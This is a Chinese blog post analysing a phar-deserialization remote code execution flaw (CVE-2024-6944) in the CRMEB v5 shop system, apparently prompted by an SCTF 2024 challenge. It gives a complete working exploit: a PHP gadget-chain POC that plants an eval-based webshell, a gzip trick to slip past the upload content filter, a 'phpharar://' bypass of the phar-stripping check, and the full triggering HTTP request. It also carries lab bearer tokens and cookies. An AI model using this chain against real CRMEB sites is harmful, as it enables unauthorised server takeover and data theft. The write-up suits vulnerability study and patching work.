由phar反序列化触发的CRMEB前台rce分析
真爱和自由 发表于 四川 历史精选 2329浏览 · 2024-10-02 02:54

由phar反序列化触发的CRMEB前台rce分析

前言

在刚刚结束的sctf中,有一个题是打的CVE-2024-6944,借这个机会来分析一波,不得不说这个思路还是很厉害的,和showdoc那个很像,都是phar反序列化去触发的漏洞

介绍

CRMEB属于西安众邦网络科技有限公司旗下品牌(https://www.crmeb.com) ,自2014年公司成立以来,众邦科技将客户关系管理与电子商务应用场景进行深度集成,围绕新零售、智慧商业、企业数字化经营等课题进行探索创新,打造出中国私有化独立应用电商软件知名品牌——CRMEB。

CRMEB v5 基于ThinkPhp6.0+MySQL+elementUI+uniapp 开发的新零售社交电商系统。能够真正帮助企业基于微信公众号H5、小程序、wap、pc、APP等,实现会员管理、数据分析,精准营销的电子商务管理系统。可满足企业新零售、批发、分销、预约、O2O、多店等各种业务需求。CRMEB的优势:快速积累客户、会员数据分析、智能转化客户、有效提高销售、会员维护;

可以看到是一个商场的系统,而且

这个系统还是很火的

环境搭建

参考https://gitee.com/ZhongBangKeJi/CRMEB

下载源码后放在phpstduty里面

https://doc.crmeb.com/single/v5/7714

创建数据库,导入数据库文件
数据库文件目录/public/install/crmeb.sql

然后修改一下数据库的配置文件

APP_DEBUG = false
[APP]
DEFAULT_TIMEZONE = Asia/Shanghai
[DATABASE]
TYPE = mysql
HOSTNAME = 127.0.0.1 #数据库连接地址
DATABASE = test #数据库名称
USERNAME = username #数据库登录账号
PASSWORD = password #数据库登录密码
HOSTPORT = 3306 #数据库端口
CHARSET = utf8
DEBUG = true
[LANG]
default_lang = zh-cn
[REDIS]
REDIS_HOSTNAME = 127.0.0.1 #redis链接地址
PORT = 6379 #端口号
REDIS_PASSWORD = 123456 #密码
SELECT = 0 #数据库名
[QUEUE]
QUEUE_NAME = 123456789 #队列前缀

修改apache的配置文件

<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine on

RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php?/$1 [QSA,PT,L]
</IfModule>

然后还有一个问题就是到时候不能注册用户

因为要发验证码,我们直接去后台创建一个

漏洞分析

首先我们是phar反序列化,那必须有3个点我们必须满足

第一个点上传phar文件

第二反序列化调用链恶意利用

第三能够触发phar反序列化

上传phar文件

在页面上找一波

注册用户后可以上传头像

对于的函数处理部分是在

/**
 * 图片上传
 * @param Request $request
 * @param SystemAttachmentServices $services
 * @return mixed
 */
public function upload_image(Request $request, SystemAttachmentServices $services)
{
    $data = $request->postMore([
        ['filename', 'file'],
    ]);
    if (!$data['filename']) return app('json')->fail(100100);
    if (CacheService::has('start_uploads_' . $request->uid()) && CacheService::get('start_uploads_' . $request->uid()) >= 100) return app('json')->fail(100101);
    $upload = UploadService::init();
    $info = $upload->to('store/comment')->validate()->move($data['filename']);
    if ($info === false) {
        return app('json')->fail($upload->getError());
    }
    $res = $upload->getUploadInfo();
    $services->attachmentAdd($res['name'], $res['size'], $res['type'], $res['dir'], $res['thumb_path'], 1, (int)sys_config('upload_type', 1), $res['time'], 3);
    if (CacheService::has('start_uploads_' . $request->uid()))
        $start_uploads = (int)CacheService::get('start_uploads_' . $request->uid());
    else
        $start_uploads = 0;
    $start_uploads++;
    CacheService::set('start_uploads_' . $request->uid(), $start_uploads, 86400);
    $res['dir'] = path_to_url($res['dir']);
    if (strpos($res['dir'], 'http') === false) $res['dir'] = $request->domain() . $res['dir'];
    return app('json')->success(100009, ['name' => $res['name'], 'url' => $res['dir']]);
}

还有一个点是在和客服对话的时候也可以上传图片

反序列化链

然后就是反序列化的调用了,这里是基于thinkphp开发的,所以链子还是很好找的,这里看几个特别的

首先给出POC

参考https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/#title-19

<?php

namespace PhpOffice\PhpSpreadsheet\Collection{
    class Cells{
        private $cache;
        public function __construct($exp){
            $this->cache = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();
        }
    }
}

namespace {
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);


    ini_set("phar.readonly", 0);
    $phar = new Phar('1.phar');
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("fpclose.jpg", "666");
    $phar->stopBuffering();

}

简单看一下是可以看出来是写木马的

首先是进入

public function __destruct()
{
    $this->cache->deleteMultiple($this->getAllCacheKeys());
}

因为cache被赋值为Channel所以调用它的call方法

public function __call($method, $parameters)
{
    $this->log($method, ...$parameters);
}

然后调用log方法

public function log($level, $message, array $context = [])
{
    $this->record($message, $level, $context);
}

调用record方法

在record中

public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
    if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
        return $this;
    }

    if (is_string($msg) && !empty($context)) {
        $replace = [];
        foreach ($context as $key => $val) {
            $replace['{' . $key . '}'] = $val;
        }

        $msg = strtr($msg, $replace);
    }

    if (!empty($msg) || 0 === $msg) {
        $this->log[$type][] = $msg;
        if ($this->event) {
            $this->event->trigger(new LogRecord($type, $msg));
        }
    }

    if (!$this->lazy || !$lazy) {
        $this->save();
    }

    return $this;
}

会调用这个类的save方法

其中logger是被赋值为了Socket类

然后调用到Socket的save方法

重点关注

if (!empty($this->config['format_head'])) {
    try {
        $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
    } catch (NotFoundExceptionInterface $notFoundException) {
        // Ignore exception
    }
}

然后看一下POC的构造方法

namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();
        }
    }

简单来讲就是调用Php的display方法,参数为

$this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20240929/fpclose.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';

看到display方法

public function display(string $content, array $data = []): void
{
    $this->content = $content;

    extract($data, EXTR_OVERWRITE);
    eval('?>' . $this->content);
}

就恍然大悟了

简单尝试一下

可以执行命令,完美

触发phar反序列化

触发phar的有很多,需要找到一个地方是url可以控制的,这里是在

/**
 * 获取图片base64
 * @param Request $request
 * @return mixed
 */
public function get_image_base64(Request $request)
{
    [$imageUrl, $codeUrl] = $request->postMore([
        ['image', ''],
        ['code', ''],
    ], true);
    if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
        return app('json')->success(['code' => false, 'image' => false]);
    }
    if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
        return app('json')->success(['code' => false, 'image' => false]);
    }
    try {
        $code = CacheService::remember($codeUrl, function () use ($codeUrl) {
            $codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
            if (!$codeTmp) {
                $putCodeUrl = put_image($codeUrl);
                $code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
                if ($putCodeUrl) {
                    unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
                }
            }
            return $code;
        });

但是当时一直不知道如何调用,翻阅一下官方文档

获取图片base64

基本信息

Path: /api/image_base64

Method: POST

接口描述:

请求参数

Headers

参数名称 参数值 是否必须 示例 备注
Content-Type application/x-www-form-urlencoded

Body

参数名称 参数类型 是否必须 示例 备注
image text 图片路径
code text 二维码路径

返回数据

名称 类型 是否必须 默认值 备注 其他信息
status number 非必须
msg string 非必须
data object 非必须
├─ code string 非必须
├─ image string 非必须

如何调用和如何传入参数都说明了,就是传入一个图片的地址和一个code的地址

然后跟着代码会进入put_image方法,可以看到对url做了限制,会把phar替换为空,因为它没有循环校验,所以还是比较简单的绕过phpharar这种就ok的

function put_image($url, $filename = '')
{

    if ($url == '') {
        return false;
    }
    try {
        if ($filename == '') {

            $ext = pathinfo($url);
            if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
                return false;
            }
            $filename = time() . "." . $ext['extension'];
        }

        //文件保存路径
        ob_start();
        $url = str_replace('phar://', '', $url);
        readfile($url);
        $img = ob_get_contents();
        ob_end_clean();
        $path = 'uploads/qrcode';
        $fp2 = fopen($path . '/' . $filename, 'a');
        fwrite($fp2, $img);
        fclose($fp2);
        return $path . '/' . $filename;
    } catch (\Exception $e) {
        return false;
    }
}

漏洞复现

首先就是在刚刚说到的点上传图片,不过是有内容检测的,这个ctf也考过很多了

public function checkFileContent($fileHandle)
{
    $stream = fopen($fileHandle->getPathname(), 'r');
    $content = (fread($stream, filesize($fileHandle->getPathname())));
    if (is_resource($stream)) {
        fclose($stream);
    }
    if (preg_match('/think|app|php|log|phar|Socket|Channel|Flysystem|Psr6Cache|Cached|Request|debug|Psr6Cachepool|eval/i', $content)) {
        return $this->setError('文件内容不合法');
    }
}

只需要对生成的phar文件压缩一下

把生成的文件改名字,然后就是执行下面的命令

gzip 1.jpg

会生成

然后就是改后缀名字

开始触发

按照官方文档发送这样一个包

POST /api/image_base64 HTTP/1.1
Host: crmeb:9345
Content-Length: 79
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydAcYcbc6h4dFXG4g
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiJkNDFkOGNkOThmMDBiMjA0ZTk4MDA5OThlY2Y4NDI3ZSIsImlzcyI6ImNybWViOjkzNDUiLCJhdWQiOiJjcm1lYjo5MzQ1IiwiaWF0IjoxNzI3NzU4MTk5LCJuYmYiOjE3Mjc3NTgxOTksImV4cCI6MTczMDM1MDE5OSwianRpIjp7ImlkIjozLCJ0eXBlIjoiYXBpIn19.zXoVHVZXoiyAf9TZQcVVpot4eBLKASvmxAtAjub5lLY
Accept: */*
Origin: http://crmeb:9345
Referer: http://crmeb:9345/pages/users/user_info/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=2fc26003866957e8c351c07bf92c0b83; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiJiZmZkMWU0NzQyOGU2NWM1NjVjNDIzZjM0MmFjZDA3YSIsImlzcyI6ImNybWViOjkzNDUiLCJhdWQiOiJjcm1lYjo5MzQ1IiwiaWF0IjoxNzI3NTE5MTIyLCJuYmYiOjE3Mjc1MTkxMjIsImV4cCI6MTczMDExMTEyMiwianRpIjp7ImlkIjoxLCJ0eXBlIjoiYWRtaW4ifX0.BEmQmq6fTTrdfJTS6Z-qE_eUVoMIAvSI6lP0wQhg1LQ; expires_time=1730111122; XDEBUG_SESSION=PHPSTORM; WS_ADMIN_URL=ws://crmeb:9345/notice; WS_CHAT_URL=ws://crmeb:9345/msg
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded

{  
    "image": "你上传图片的位置",  
    "code": "phpharar://图片位置"  
}

运行后就可以访问自己的木马文件了

这里我写的是phpinfo

参考https://blog.xmcve.com/2024/10/01/SCTF-2024-Writeup/#title-19

0 条评论
某人
表情
可输入 255

没有评论